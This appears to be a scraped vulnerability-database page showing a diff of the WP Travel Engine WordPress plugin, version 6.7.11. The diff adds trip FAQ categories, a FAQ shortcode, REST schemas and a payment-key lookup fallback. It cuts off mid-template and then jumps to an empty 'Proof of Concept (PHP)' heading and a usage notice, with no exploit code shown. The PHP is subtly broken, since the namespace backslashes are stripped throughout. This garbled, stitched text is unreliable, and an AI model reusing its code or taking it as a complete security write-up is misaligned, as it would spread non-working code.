+	 * @since 6.7.11 Added wptravelengine_verify_payment_success_status filter to allow bypassing completed-status guard.
 	 */
 	public function sync_payment_success_metas( int $payment_id, float $paid_amount, array $args = array() ): void {
 		$args = wp_parse_args(
@@ -1496,7 +1497,7 @@

 		$previous_payment_status = $_payment->get_payment_status();

-		if ( 'completed' === $previous_payment_status ) {
+		if ( apply_filters( 'wptravelengine_verify_payment_success_status', true, $this ) && 'completed' === $previous_payment_status ) {
 			return;
 		}

--- a/wp-travel-engine/includes/classes/Core/Models/Post/Payment.php
+++ b/wp-travel-engine/includes/classes/Core/Models/Post/Payment.php
@@ -219,6 +219,7 @@
 	 *
 	 * @return ?Payment
 	 * @throws InvalidArgumentException
+	 * @since 6.7.11 Fixed transient lookup failure by adding meta-query fallback when transient is missing (e.g. object-cache issues).
 	 */
 	public static function from_payment_key( string $payment_key ): ?Payment {
 		if ( empty( $payment_key ) ) {
@@ -227,6 +228,25 @@

 		$payment_id = get_transient( 'payment_key_' . $payment_key );

+		// Fallback: query payment by meta if transient not found (e.g., object cache issues).
+		if ( ! $payment_id ) {
+			$query = new WP_Query(
+				array(
+					'post_type'        => 'wte-payments',
+					'posts_per_page'   => 1,
+					'meta_key'         => 'payment_key',
+					'meta_value'       => $payment_key,
+					'fields'           => 'ids',
+					'no_found_rows'    => true,
+					'suppress_filters' => true,
+				)
+			);
+			if ( ! empty( $query->posts ) ) {
+				$payment_id = $query->posts[0];
+				set_transient( 'payment_key_' . $payment_key, $payment_id, 24 * HOUR_IN_SECONDS );
+			}
+		}
+
 		if ( ! $payment_id ) {
 			throw new InvalidArgumentException( 'Invalid Payment Key' );
 		}
--- a/wp-travel-engine/includes/classes/Core/Models/Post/Trip.php
+++ b/wp-travel-engine/includes/classes/Core/Models/Post/Trip.php
@@ -174,6 +174,7 @@
 	 * Get the services.
 	 *
 	 * @return array
+	 * @since 6.7.11 Added wptravelengine_trip_services filter.
 	 */
 	public function get_services(): array {

@@ -261,7 +262,7 @@
 			);
 		}

-		return $data;
+		return apply_filters( 'wptravelengine_trip_services', $data, $this->ID );
 	}

 	/**
--- a/wp-travel-engine/includes/classes/Core/SEO.php
+++ b/wp-travel-engine/includes/classes/Core/SEO.php
@@ -179,28 +179,81 @@
 	 * @param array $settings
 	 * @param int   $post_id
 	 * @return array|null
+	 * @since 6.7.11 Added category-based FAQ structure support with legacy flat format fallback.
 	 */
 	private static function build_faq_schema( $settings, $post_id ) {
-		if ( empty( $settings['faq']['faq_title'] ) || ! is_array( $settings['faq']['faq_title'] ) ) {
-			return null;
+		$faqs = array();
+
+		// New category-based structure takes priority.
+		$faqs_data = $settings['faqs_data'] ?? array();
+		if ( ! empty( $faqs_data['categories'] ) && is_array( $faqs_data['categories'] ) ) {
+			$global_faq_map = wptravelengine_get_global_faq_map();
+			foreach ( $faqs_data['categories'] as $category ) {
+				if ( empty( $category['faqs'] ) || ! is_array( $category['faqs'] ) ) {
+					continue;
+				}
+				$category_name = strip_tags( $category['name'] ?? '' );
+				foreach ( $category['faqs'] as $faq ) {
+					$question  = (string) ( $faq['question'] ?? '' );
+					$answer    = (string) ( $faq['answer'] ?? '' );
+					$source_id = (string) ( $faq['sourceId'] ?? '' );
+
+					if ( ! empty( $faq['addedInBulk'] ) && '' !== $source_id ) {
+						if ( ! isset( $global_faq_map[ $source_id ] ) ) {
+							continue;
+						}
+						$question = $global_faq_map[ $source_id ]['question'];
+						$answer   = $global_faq_map[ $source_id ]['answer'];
+					}
+
+					if ( empty( trim( $question ) ) ) {
+						continue;
+					}
+
+					$question = strip_tags( preg_replace( '/<pb[^>]*>(.*?)</p>/i', '$1', $question ) );
+					$answer   = strip_tags( preg_replace( '/<pb[^>]*>(.*?)</p>/i', '$1', $answer ) );
+
+					$entry = array(
+						'@type'          => 'Question',
+						'name'           => esc_attr( $question ),
+						'acceptedAnswer' => array(
+							'@type' => 'Answer',
+							'text'  => esc_attr( $answer ),
+						),
+					);
+
+					if ( ! empty( $category_name ) ) {
+						$entry['about'] = array(
+							'@type' => 'Thing',
+							'name'  => esc_attr( $category_name ),
+						);
+					}
+
+					$faqs[] = $entry;
+				}
+			}
+		} elseif ( ! empty( $settings['faq']['faq_title'] ) && is_array( $settings['faq']['faq_title'] ) ) {
+			// Legacy flat format fallback.
+			foreach ( array_keys( $settings['faq']['faq_title'] ) as $value ) {
+				$question = $settings['faq']['faq_title'][ $value ] ?? '';
+				$answer   = $settings['faq']['faq_content'][ $value ] ?? '';
+
+				$question = strip_tags( preg_replace( '/<pb[^>]*>(.*?)</p>/i', '$1', $question ) );
+				$answer   = strip_tags( preg_replace( '/<pb[^>]*>(.*?)</p>/i', '$1', $answer ) );
+
+				$faqs[] = array(
+					'@type'          => 'Question',
+					'name'           => esc_attr( $question ),
+					'acceptedAnswer' => array(
+						'@type' => 'Answer',
+						'text'  => esc_attr( $answer ),
+					),
+				);
+			}
 		}

-		$faqs = array();
-		foreach ( array_keys( $settings['faq']['faq_title'] ) as $value ) {
-			$question = $settings['faq']['faq_title'][ $value ] ?? '';
-			$answer   = $settings['faq']['faq_content'][ $value ] ?? '';
-
-			$question = preg_replace( '/<pb[^>]*>(.*?)</p>/i', '', strip_tags( $question ) );
-			$answer   = preg_replace( '/<pb[^>]*>(.*?)</p>/i', '', strip_tags( $answer ) );
-
-			$faqs[] = array(
-				'@type'          => 'Question',
-				'name'           => esc_attr( $question ),
-				'acceptedAnswer' => array(
-					'@type' => 'Answer',
-					'text'  => esc_attr( $answer ),
-				),
-			);
+		if ( empty( $faqs ) ) {
+			return null;
 		}

 		return apply_filters(
--- a/wp-travel-engine/includes/classes/Core/Shortcodes/TripFaq.php
+++ b/wp-travel-engine/includes/classes/Core/Shortcodes/TripFaq.php
@@ -0,0 +1,104 @@
+<?php
+/**
+ * ShortCode TripFaq.
+ *
+ * @package    WPTravelEngine
+ * @subpackage WPTravelEngineCoreShortcodes
+ */
+
+namespace WPTravelEngineCoreShortcodes;
+
+use WPTravelEngineAbstractsShortcode;
+
+/**
+ * Class TripFaq.
+ *
+ * Renders the FAQ section for a trip.
+ * Usage: [wte_trip_faqs id="123"]
+ *
+ * @since 6.7.11
+ */
+class TripFaq extends Shortcode {
+
+	/**
+	 * Shortcode tag.
+	 *
+	 * @var string
+	 */
+	const TAG = 'wte_trip_faqs';
+
+	/**
+	 * Default attributes.
+	 *
+	 * @return array
+	 */
+	protected function default_attributes(): array {
+		global $post;
+		return array(
+			'id' => isset( $post->ID ) ? $post->ID : 0,
+		);
+	}
+
+	/**
+	 * Renders the FAQ section for the given trip ID.
+	 *
+	 * @param array $atts Shortcode attributes.
+	 * @return string
+	 */
+	public function output( $atts ): string {
+		$trip_id = absint( $atts['id'] );
+
+		if ( ! $trip_id ) {
+			return '';
+		}
+
+		$wp_travel_engine_setting = get_post_meta( $trip_id, 'wp_travel_engine_setting', true );
+		$faqs_data                = $wp_travel_engine_setting['faqs_data'] ?? array();
+
+		$settings_available = function_exists( 'wptravelengine_settings' );
+
+		$global_faq_map = wptravelengine_get_global_faq_map();
+		$global_faq_ids = array_keys( $global_faq_map );
+
+		// Filter out orphaned bulk-imported FAQs.
+		if ( ! empty( $faqs_data['categories'] ) && $settings_available ) {
+			$faqs_data['categories'] = wptravelengine_filter_orphaned_faqs( $faqs_data['categories'], $global_faq_ids );
+		}
+
+		$has_faqs = false;
+		if ( ! empty( $faqs_data['categories'] ) ) {
+			foreach ( $faqs_data['categories'] as $category ) {
+				if ( ! empty( $category['faqs'] ) ) {
+					$has_faqs = true;
+					break;
+				}
+			}
+		}
+
+		if ( ! $has_faqs ) {
+			return '';
+		}
+
+		$section_title = ! empty( $faqs_data['sectionTitle'] )
+			? $faqs_data['sectionTitle']
+			: ( $wp_travel_engine_setting['faq_section_title']
+				?? $wp_travel_engine_setting['faqs_title']
+				?? __( 'Frequently Asked Questions', 'wp-travel-engine' ) );
+
+		if ( ! is_singular( 'trip' ) ) {
+			wp_enqueue_style( 'wte-trip-faqs' );
+			wp_enqueue_script( 'wte-trip-faqs' );
+		}
+
+		ob_start();
+		wte_get_template(
+			'single-trip/trip-tabs/_faqs.php',
+			array(
+				'faqs_data'      => $faqs_data,
+				'section_title'  => $section_title,
+				'global_faq_map' => $global_faq_map,
+			)
+		);
+		return ob_get_clean();
+	}
+}
--- a/wp-travel-engine/includes/classes/Filters/SettingsAPISchema.php
+++ b/wp-travel-engine/includes/classes/Filters/SettingsAPISchema.php
@@ -551,6 +551,27 @@
 	}

 	/**
+	 * Prepare FAQs Settings.
+	 *
+	 * @param WP_REST_Request $request Request object.
+	 *
+	 * @return array
+	 * @since 6.7.11
+	 */
+	protected function prepare_faqs_settings( WP_REST_Request $request ): array {
+
+		$settings = array();
+
+		$faq_items = $this->plugin_settings->get( 'faqs.items', array() );
+
+		$settings['faqs'] = array(
+			'items' => is_array( $faq_items ) ? $faq_items : array(),
+		);
+
+		return $settings;
+	}
+
+	/**
 	 * Process zaps data.
 	 *
 	 * @param array $zaps Zaps data.
@@ -599,6 +620,7 @@
 			$this->prepare_zapier_settings( $request ),
 			$this->prepare_wetravel_settings( $request ),
 			$this->prepare_user_history_settings( $request ),
+			$this->prepare_faqs_settings( $request ),
 		);
 	}

@@ -1307,6 +1329,54 @@
 	}

 	/**
+	 * Process FAQs Settings.
+	 *
+	 * @param WP_REST_Request $request             Request object.
+	 * @param Settings        $settings_controller Settings controller instance.
+	 *
+	 * @return void
+	 * @since 6.7.11
+	 */
+	protected function set_faqs_details( WP_REST_Request $request, Settings $settings_controller ) {
+
+		if ( ! isset( $request['faqs'] ) ) {
+			return;
+		}
+
+		$faqs = $request['faqs'];
+
+		if ( isset( $faqs['items'] ) && is_array( $faqs['items'] ) ) {
+			// Validate: every FAQ must have a non-empty question.
+			foreach ( $faqs['items'] as $faq ) {
+				if ( is_array( $faq ) && empty( trim( $faq['question'] ?? '' ) ) ) {
+					$settings_controller->set_bad_request(
+						'faq_question_required',
+						sprintf( __( '%1$sFAQ Title%2$s must not be empty.', 'wp-travel-engine' ), '<strong>', '</strong>' ),
+						'faqs.items'
+					);
+					return;
+				}
+			}
+
+			$faq_items = array();
+			foreach ( $faqs['items'] as $faq ) {
+				if ( ! is_array( $faq ) ) {
+					continue;
+				}
+				if ( ! empty( $faq['question'] ) || ! empty( $faq['answer'] ) ) {
+					$faq_items[] = array(
+						'id'       => $faq['id'] ?? '',
+						'question' => $faq['question'] ?? '',
+						'answer'   => $faq['answer'] ?? '',
+					);
+				}
+			}
+			$this->plugin_settings->set( 'faqs.items', $faq_items );
+			wptravelengine_get_global_faq_map( true );
+		}
+	}
+
+	/**
 	 * Update Addons Settings.
 	 *
 	 * @param WP_REST_Request $request Request object.
@@ -1332,5 +1402,6 @@
 		$this->set_zapier_details( $request );
 		$this->set_we_travel_details( $request );
 		$this->set_user_history_details( $request );
+		$this->set_faqs_details( $request, $settings_controller );
 	}
 }
--- a/wp-travel-engine/includes/classes/Filters/TripAPISchema.php
+++ b/wp-travel-engine/includes/classes/Filters/TripAPISchema.php
@@ -191,6 +191,64 @@
 			'type'        => 'boolean',
 		);

+		// FAQs schema with categories support.
+		$schema['faqs_data'] = array(
+			'description' => __( 'Trip FAQs with categories.', 'wp-travel-engine' ),
+			'type'        => 'object',
+			'properties'  => array(
+				'sectionTitle' => array(
+					'description' => __( 'FAQs section title.', 'wp-travel-engine' ),
+					'type'        => 'string',
+				),
+				'categories'   => array(
+					'description' => __( 'FAQ categories.', 'wp-travel-engine' ),
+					'type'        => 'array',
+					'items'       => array(
+						'type'       => 'object',
+						'properties' => array(
+							'id'   => array(
+								'description' => __( 'Category ID.', 'wp-travel-engine' ),
+								'type'        => 'string',
+							),
+							'name' => array(
+								'description' => __( 'Category name.', 'wp-travel-engine' ),
+								'type'        => 'string',
+							),
+							'faqs' => array(
+								'description' => __( 'FAQs in this category.', 'wp-travel-engine' ),
+								'type'        => 'array',
+								'items'       => array(
+									'type'       => 'object',
+									'properties' => array(
+										'id'          => array(
+											'description' => __( 'FAQ ID.', 'wp-travel-engine' ),
+											'type'        => 'string',
+										),
+										'question'    => array(
+											'description' => __( 'FAQ question.', 'wp-travel-engine' ),
+											'type'        => 'string',
+										),
+										'answer'      => array(
+											'description' => __( 'FAQ answer.', 'wp-travel-engine' ),
+											'type'        => 'string',
+										),
+										'addedInBulk' => array(
+											'description' => __( 'FAQ added in bulk.', 'wp-travel-engine' ),
+											'type'        => 'boolean',
+										),
+										'sourceId'    => array(
+											'description' => __( 'Global FAQ source ID (when added in bulk).', 'wp-travel-engine' ),
+											'type'        => 'string',
+										),
+									),
+								),
+							),
+						),
+					),
+				),
+			),
+		);
+
 		return $schema;
 	}

@@ -356,6 +414,7 @@
 	 * @param TripController  $controller
 	 *
 	 * @return array
+	 * @since 6.7.11 Added prepare_faqs call.
 	 */
 	public function trip_edit_api_prepare( array $data, WP_REST_Request $request, TripController $controller ): array {

@@ -365,6 +424,7 @@
 		$this->prepare_extra_services( $data, $request );
 		$this->prepare_file_downloads( $data, $request );
 		$this->prepare_partial_payment( $data, $request );
+		$this->prepare_faqs( $data, $request );

 		return $data;
 	}
@@ -376,6 +436,7 @@
 	 * @param TripController  $controller
 	 *
 	 * @return void
+	 * @since 6.7.11 Added update_faqs call.
 	 */
 	public function trip_edit_api_update( WP_REST_Request $request, TripController $controller ): void {

@@ -386,6 +447,7 @@
 		$this->update_extra_services( $request );
 		$this->update_file_downloads( $request );
 		$this->update_partial_payment( $request, $controller );
+		$this->update_faqs( $request, $controller );
 	}

 	/**
@@ -498,4 +560,187 @@
 			$this->trip_settings->set( 'trip_full_payment_enabled', $request['full_payment_enable'] ? 'yes' : 'no' );
 		}
 	}
+
+	/**
+	 * Prepares the FAQs data.
+	 *
+	 * @param array           $data
+	 * @param WP_REST_Request $request
+	 *
+	 * @since 6.7.11
+	 * @return void
+	 */
+	protected function prepare_faqs( array &$data, WP_REST_Request $request ): void {
+
+		$settings_available = function_exists( 'wptravelengine_settings' );
+		$global_faq_map     = wptravelengine_get_global_faq_map();
+		$global_faq_ids     = array_keys( $global_faq_map );
+
+		$faqs_data = $this->trip->get_setting( 'faqs_data', array() );
+
+		// If new structure exists, use it.
+		if ( ! empty( $faqs_data ) && is_array( $faqs_data ) ) {
+			$data['faqs_data'] = array(
+				'sectionTitle' => (string) ( $faqs_data['sectionTitle'] ?? '' ),
+				'categories'   => array(),
+			);
+
+			if ( ! empty( $faqs_data['categories'] ) && is_array( $faqs_data['categories'] ) ) {
+				foreach ( $faqs_data['categories'] as $category ) {
+					$faqs_array = array();
+					if ( ! empty( $category['faqs'] ) && is_array( $category['faqs'] ) ) {
+						foreach ( $category['faqs'] as $faq ) {
+							$source_id     = (string) ( $faq['sourceId'] ?? '' );
+							$added_in_bulk = isset( $faq['addedInBulk'] ) ? (bool) $faq['addedInBulk'] : false;
+							if (
+								$added_in_bulk
+								&& '' !== $source_id
+								&& $settings_available
+								&& ! in_array( $source_id, $global_faq_ids, true )
+							) {
+								continue;
+							}
+
+							$faq_item = array(
+								'id'       => (string) ( $faq['id'] ?? '' ),
+								'question' => (string) ( $faq['question'] ?? '' ),
+								'answer'   => (string) ( $faq['answer'] ?? '' ),
+							);
+
+							// For bulk-added FAQs, use global question/answer only as fallback when no trip-level override has been saved.
+							if ( $added_in_bulk && '' !== $source_id && isset( $global_faq_map[ $source_id ] ) ) {
+								if ( '' === $faq_item['question'] ) {
+									$faq_item['question'] = $global_faq_map[ $source_id ]['question'];
+								}
+								if ( '' === $faq_item['answer'] ) {
+									$faq_item['answer'] = $global_faq_map[ $source_id ]['answer'];
+								}
+							}
+
+							if ( isset( $faq['addedInBulk'] ) ) {
+								$faq_item['addedInBulk'] = (bool) $faq['addedInBulk'];
+							}
+							if ( isset( $faq['sourceId'] ) ) {
+								$faq_item['sourceId'] = $source_id;
+							}
+							$faqs_array[] = $faq_item;
+						}
+					}
+
+					$data['faqs_data']['categories'][] = array(
+						'id'   => (string) ( $category['id'] ?? '' ),
+						'name' => (string) ( $category['name'] ?? '' ),
+						'faqs' => $faqs_array,
+					);
+				}
+			}
+		} else {
+			// Transform legacy format for backward compatibility.
+			$legacy_faq = $this->trip->get_setting( 'faq', array() );
+			if ( ! empty( $legacy_faq['faq_title'] ) && is_array( $legacy_faq['faq_title'] ) ) {
+				$faqs_array = array();
+				foreach ( $legacy_faq['faq_title'] as $key => $question ) {
+					$faqs_array[] = array(
+						'id'       => 'faq-legacy-' . $key,
+						'question' => (string) $question,
+						'answer'   => (string) ( $legacy_faq['faq_content'][ $key ] ?? '' ),
+					);
+				}
+
+				// Get legacy section title.
+				$legacy_section_title = $this->trip->get_setting( 'faq_section_title', '' );
+
+				$data['faqs_data'] = array(
+					'sectionTitle' => (string) $legacy_section_title,
+					'categories'   => array(
+						array(
+							'id'   => 'category-legacy-general',
+							'name' => __( 'General', 'wp-travel-engine' ),
+							'faqs' => $faqs_array,
+						),
+					),
+				);
+			}
+		}
+	}
+
+	/**
+	 * Updates the FAQs data.
+	 *
+	 * @param WP_REST_Request $request
+	 *
+	 * @since 6.7.11
+	 * @return void
+	 */
+	protected function update_faqs( WP_REST_Request $request, TripController $controller ): void {
+
+		if ( ! isset( $request['faqs_data'] ) ) {
+			return;
+		}
+
+		$faqs_data = $request['faqs_data'];
+
+		// Validate: every FAQ must have a non-empty question.
+		if ( ! empty( $faqs_data['categories'] ) && is_array( $faqs_data['categories'] ) ) {
+			foreach ( $faqs_data['categories'] as $category ) {
+				if ( ! is_array( $category ) || empty( $category['faqs'] ) ) {
+					continue;
+				}
+				foreach ( $category['faqs'] as $faq ) {
+					if ( is_array( $faq ) && empty( trim( $faq['question'] ?? '' ) ) ) {
+						$controller->set_bad_request(
+							'faq_title_required',
+							sprintf( __( '%1$sFAQ Title%2$s must not be empty.', 'wp-travel-engine' ), '<strong>', '</strong>' ),
+							'faqs_data'
+						);
+						return;
+					}
+				}
+			}
+		}
+
+		$categories = array();
+
+		foreach ( $faqs_data['categories'] ?? array() as $category ) {
+			if ( ! is_array( $category ) ) {
+				continue;
+			}
+
+			$faqs_array = array();
+			foreach ( $category['faqs'] ?? array() as $faq ) {
+				if ( ! is_array( $faq ) ) {
+					continue;
+				}
+
+				$faq_item = array(
+					'id'       => $faq['id'] ?? '',
+					'question' => $faq['question'] ?? '',
+					'answer'   => $faq['answer'] ?? '',
+				);
+
+				if ( isset( $faq['addedInBulk'] ) ) {
+					$faq_item['addedInBulk'] = (bool) $faq['addedInBulk'];
+				}
+				if ( isset( $faq['sourceId'] ) ) {
+					$faq_item['sourceId'] = $faq['sourceId'];
+				}
+
+				$faqs_array[] = $faq_item;
+			}
+
+			$categories[] = array(
+				'id'   => $category['id'] ?? '',
+				'name' => $category['name'] ?? '',
+				'faqs' => $faqs_array,
+			);
+		}
+
+		$this->trip_settings->set(
+			'faqs_data',
+			array(
+				'sectionTitle' => $faqs_data['sectionTitle'] ?? '',
+				'categories'   => $categories,
+			)
+		);
+	}
 }
--- a/wp-travel-engine/includes/classes/Filters/TripMetaTabs.php
+++ b/wp-travel-engine/includes/classes/Filters/TripMetaTabs.php
@@ -442,6 +442,22 @@
 					),
 				),
 				array(
+					'divider' => true,
+					'field'   => array(
+						'type'  => 'SHORTCODE',
+						'title' => __( 'To display FAQs of this tour in posts/pages/tabs/widgets use the following <strong>Shortcode.</strong>', 'wp-travel-engine' ),
+						'code'  => "[wte_trip_faqs id='{$post->ID}']",
+					),
+				),
+				array(
+					'divider' => false,
+					'field'   => array(
+						'type'  => 'SHORTCODE',
+						'title' => __( 'To display FAQs of this tour in posts/pages/tabs/widgets, please use below <strong>PHP Function.</strong>', 'wp-travel-engine' ),
+						'code'  => "<?php echo do_shortcode('[wte_trip_faqs id={$post->ID}]'); ?>",
+					),
+				),
+				array(
 					'field'      => array(
 						'type'  => 'SHORTCODE',
 						'title' => __( 'To display downloadable file list in posts/pages/tabs and widget, please use following <strong>Shortcode.</strong>', 'wp-travel-engine' ),
--- a/wp-travel-engine/includes/classes/Filters/schemas/faqs.php
+++ b/wp-travel-engine/includes/classes/Filters/schemas/faqs.php
@@ -0,0 +1,37 @@
+<?php
+/**
+ * FAQs Schema.
+ *
+ * @package WPTravelEngine
+ * @since 6.7.11
+ */
+
+return array(
+	'faqs' => array(
+		'description' => __( 'FAQs Settings', 'wp-travel-engine' ),
+		'type'        => 'object',
+		'properties'  => array(
+			'items' => array(
+				'description' => __( 'FAQ Items', 'wp-travel-engine' ),
+				'type'        => 'array',
+				'items'       => array(
+					'type'       => 'object',
+					'properties' => array(
+						'id'       => array(
+							'description' => __( 'FAQ ID', 'wp-travel-engine' ),
+							'type'        => 'string',
+						),
+						'question' => array(
+							'description' => __( 'FAQ Question', 'wp-travel-engine' ),
+							'type'        => 'string',
+						),
+						'answer'   => array(
+							'description' => __( 'FAQ Answer', 'wp-travel-engine' ),
+							'type'        => 'string',
+						),
+					),
+				),
+			),
+		),
+	),
+);
--- a/wp-travel-engine/includes/classes/Modules/Filters.php
+++ b/wp-travel-engine/includes/classes/Modules/Filters.php
@@ -41,6 +41,11 @@
 		$this->register_taxonomies();
 	}

+	/**
+	 * Register custom filter taxonomies.
+	 *
+	 * @since 6.7.11 Added rest_base to custom taxonomy registration.
+	 */
 	private function register_taxonomies() {
 		$filters = get_option( 'wte_custom_filters', array() );

@@ -53,6 +58,7 @@
 						'name' => $filter['label'],
 					),
 					'show_in_rest' => true,
+					'rest_base'    => 'wptravelengine_custom_taxonomy_' . $filter['slug'],
 					'hierarchical' => $filter['hierarchical'],
 					'sort'         => true,
 				)
--- a/wp-travel-engine/includes/classes/Modules/TripSearch.php
+++ b/wp-travel-engine/includes/classes/Modules/TripSearch.php
@@ -63,9 +63,11 @@
 				has_shortcode( $post->post_content, 'WTE_Trip_Search' ) ||
 				has_block( 'wptravelenginepagesblocks/archive-trip', $post ) ||
 				has_block( 'wptravelenginepagesblocks/trip-search', $post ) ||
-				has_block( 'wptravelengine/trip-search', $post )
+				has_block( 'wptravelengine/trip-search', $post ) ||
+				self::has_elementor_shortcode( $post->ID, 'WTE_Trip_Search' )
 				) {
 					self::enqueue_styles();
+					self::enqueue_scripts();
 					self::enqueue_trip_search_scripts();
 				}
 			}
@@ -129,6 +131,29 @@
 			10,
 			2
 		);
+
+		/**
+		 * Enqueue scripts and styles for Elementor preview mode.
+		 *
+		 * This ensures that when the WTE_Trip_Search shortcode is added or edited
+		 * in the Elementor Editor, all necessary JS and CSS assets are loaded.
+		 */
+		if ( defined( 'ELEMENTOR_VERSION' ) ) {
+			add_action(
+				'elementor/preview/enqueue_scripts',
+				function () {
+					$post_id = get_the_ID();
+					if ( ! $post_id ) {
+						return;
+					}
+					if ( self::has_elementor_shortcode( $post_id, 'WTE_Trip_Search' ) ) {
+						self::enqueue_assets();
+						self::enqueue_trip_search_scripts();
+					}
+				},
+				99
+			);
+		}
 	}

 	/**
@@ -1131,6 +1156,23 @@
 	}

 	/**
+	 * Checks if a given shortcode exists in Elementor's stored page data.
+	 *
+	 * @param int    $post_id   Post ID to check.
+	 * @param string $shortcode Shortcode tag to look for.
+	 * @static
+	 * @return boolean True if shortcode found in Elementor data.
+	 * @since 6.7.11
+	 */
+	private static function has_elementor_shortcode( int $post_id, string $shortcode ): bool {
+		if ( ! defined( 'ELEMENTOR_VERSION' ) ) {
+			return false;
+		}
+		$elementor_data = get_post_meta( $post_id, '_elementor_data', true );
+		return ! empty( $elementor_data ) && false !== strpos( $elementor_data, '"' . $shortcode . '"' );
+	}
+
+	/**
 	 * Checks if current page is the search results page.
 	 *
 	 * @static
--- a/wp-travel-engine/includes/classes/Plugin.php
+++ b/wp-travel-engine/includes/classes/Plugin.php
@@ -45,6 +45,7 @@
 use WPTravelEngineCoreModelsPostTripPackages;
 use WPTravelEngineCoreControllersRestAPIV2Booking as BookingController;
 use WPTravelEngineCoreModelsPostPayment;
+use WPTravelEngineCoreShortcodesTripFaq;
 use WPTravelEnginePagesAdminUpcomingTours;

 /**
@@ -1631,6 +1632,7 @@
 	 * Init shortcodes.
 	 *
 	 * @since    1.0.0
+	 * @since 6.7.11 Added TripFaq shortcode registration.
 	 */
 	public function init_shortcodes() {
 		ShortcodeRegistry::make()
@@ -1640,7 +1642,8 @@
 						->register( General::class )
 						->register( TripCheckout::class )
 						->register( UserAccount::class )
-						->register( TripsList::class );
+						->register( TripsList::class )
+						->register( TripFaq::class );
 	}

 	/**
--- a/wp-travel-engine/includes/helpers/functions.php
+++ b/wp-travel-engine/includes/helpers/functions.php
@@ -2611,4 +2611,69 @@

 	require_once ABSPATH . 'wp-admin/includes/upgrade.php';
 	dbDelta( $sql );
-}
 No newline at end of file
+}
+
+/**
+ * Build a map of active global FAQ items keyed by their ID.
+ *
+ * @since 6.7.11
+ * @return array<string, array{question: string, answer: string}>
+ */
+function wptravelengine_get_global_faq_map( bool $force_refresh = false ): array {
+	static $map = null;
+	if ( null !== $map && ! $force_refresh ) {
+		return $map;
+	}
+
+	if ( ! function_exists( 'wptravelengine_settings' ) ) {
+		return array();
+	}
+
+	$global_settings  = wptravelengine_settings()->get();
+	$global_faq_items = $global_settings['faqs']['items'] ?? array();
+	$map              = array();
+
+	if ( is_array( $global_faq_items ) ) {
+		foreach ( $global_faq_items as $global_faq ) {
+			$global_id = (string) ( $global_faq['id'] ?? '' );
+			if ( '' !== $global_id ) {
+				$map[ $global_id ] = array(
+					'question' => (string) ( $global_faq['question'] ?? $global_faq['faq_title'] ?? '' ),
+					'answer'   => (string) ( $global_faq['answer'] ?? $global_faq['faq_content'] ?? '' ),
+				);
+			}
+		}
+	}
+
+	return $map;
+}
+
+/**
+ * Remove orphaned bulk-imported FAQs from a categories array.
+ *
+ * @since 6.7.11
+ * @param array<int, array> $categories     FAQ categories array from faqs_data['categories'].
+ * @param string[]          $global_faq_ids IDs that currently exist in Global Settings.
+ * @return array<int, array>
+ */
+function wptravelengine_filter_orphaned_faqs( array $categories, array $global_faq_ids ): array {
+	foreach ( $categories as $cat_index => $category ) {
+		if ( empty( $category['faqs'] ) || ! is_array( $category['faqs'] ) ) {
+			continue;
+		}
+
+		$filtered_faqs = array();
+		foreach ( $category['faqs'] as $faq ) {
+			$added_in_bulk = isset( $faq['addedInBulk'] ) ? (bool) $faq['addedInBulk'] : false;
+			$source_id     = (string) ( $faq['sourceId'] ?? $faq['globalFaqId'] ?? '' );
+
+			if ( $added_in_bulk && '' !== $source_id && ! in_array( $source_id, $global_faq_ids, true ) ) {
+				continue;
+			}
+			$filtered_faqs[] = $faq;
+		}
+		$categories[ $cat_index ]['faqs'] = $filtered_faqs;
+	}
+
+	return $categories;
+}
--- a/wp-travel-engine/includes/helpers/helpers.php
+++ b/wp-travel-engine/includes/helpers/helpers.php
@@ -1648,7 +1648,17 @@
 				}
 				break;
 			case 'faqs':
-				if ( empty( $post_meta['faq']['faq_title'] ) ) {
+				$has_old_faqs = ! empty( $post_meta['faq']['faq_title'] );
+				$has_new_faqs = false;
+				if ( ! empty( $post_meta['faqs_data']['categories'] ) ) {
+					foreach ( $post_meta['faqs_data']['categories'] as $category ) {
+						if ( ! empty( $category['faqs'] ) ) {
+							$has_new_faqs = true;
+							break;
+						}
+					}
+				}
+				if ( ! $has_old_faqs && ! $has_new_faqs ) {
 					unset( $settings['trip_tabs']['id'][ $value ] );
 				}
 				break;
--- a/wp-travel-engine/includes/templates/single-trip/main-gallery.php
+++ b/wp-travel-engine/includes/templates/single-trip/main-gallery.php
@@ -13,11 +13,12 @@
 $enable_video_gallery           = $wptravelengine_trip_settings['enable_video_gallery'] ?? false;
 $banner_layout                  = $wptravelengine_settings['trip_banner_layout'] ?? 'banner-default';
 $default_banner_class           = ! $related_query && 'banner-default' === $banner_layout ? ' banner-layout-default' : ''; // Add default class for banner only.
+$is_archive                     = is_archive() || ( isset( $_POST['action'] ) && 'wte_show_ajax_result' === $_POST['action'] );

 // Determine appropriate image size based on context.
-if ( $related_query || is_archive() ) {
-	// Archive/related trips use smaller images (374x226).
-	$default_image_size = 'trip-thumb-size';
+if ( $related_query || $is_archive ) {
+	// Archive/related trips use smaller images (500x500) if show_original_size_image is disabled.
+	$default_image_size = wptravelengine_toggled( $wptravelengine_settings['show_original_size_image'] ?? false ) ? 'full' : 'trip-thumb-size';
 } elseif ( 'banner-default' === $banner_layout ) {
 	$default_image_size = 'full';
 } else {
@@ -196,4 +197,4 @@
 			endif;
 		endif;
 	?>
-</div>
 No newline at end of file
+</div>
--- a/wp-travel-engine/includes/templates/single-trip/trip-tabs/_faqs.php
+++ b/wp-travel-engine/includes/templates/single-trip/trip-tabs/_faqs.php
@@ -0,0 +1,93 @@
+<?php
+/**
+ * Partial template: FAQ list (new category-based structure).
+ *
+ * Included by faqs.php after it has prepared the data. The following
+ * variables must be set in the including scope before this file is loaded:
+ *
+ * @var array  $faqs_data      Structured FAQ data with 'categories' key.
+ * @var string $section_title  Section heading (may be empty).
+ * @var array  $global_faq_map Map of global FAQ IDs to ['question', 'answer'].
+ *                             Built via wptravelengine_get_global_faq_map().
+ * @since 6.7.11
+ */
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+?>
+<?php do_action( 'wte_before_faq_content' ); ?>
+
+<div class="wpte-faq-section">
+	<?php if ( ! empty( $section_title ) ) : ?>
+		<h2 class="wpte-faq-section-title"><?php echo esc_html( $section_title ); ?></h2>
+	<?php endif; ?>
+
+	<?php
+	// Display new structure FAQs with categories
+	if ( ! empty( $faqs_data['categories'] ) ) :
+		for

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

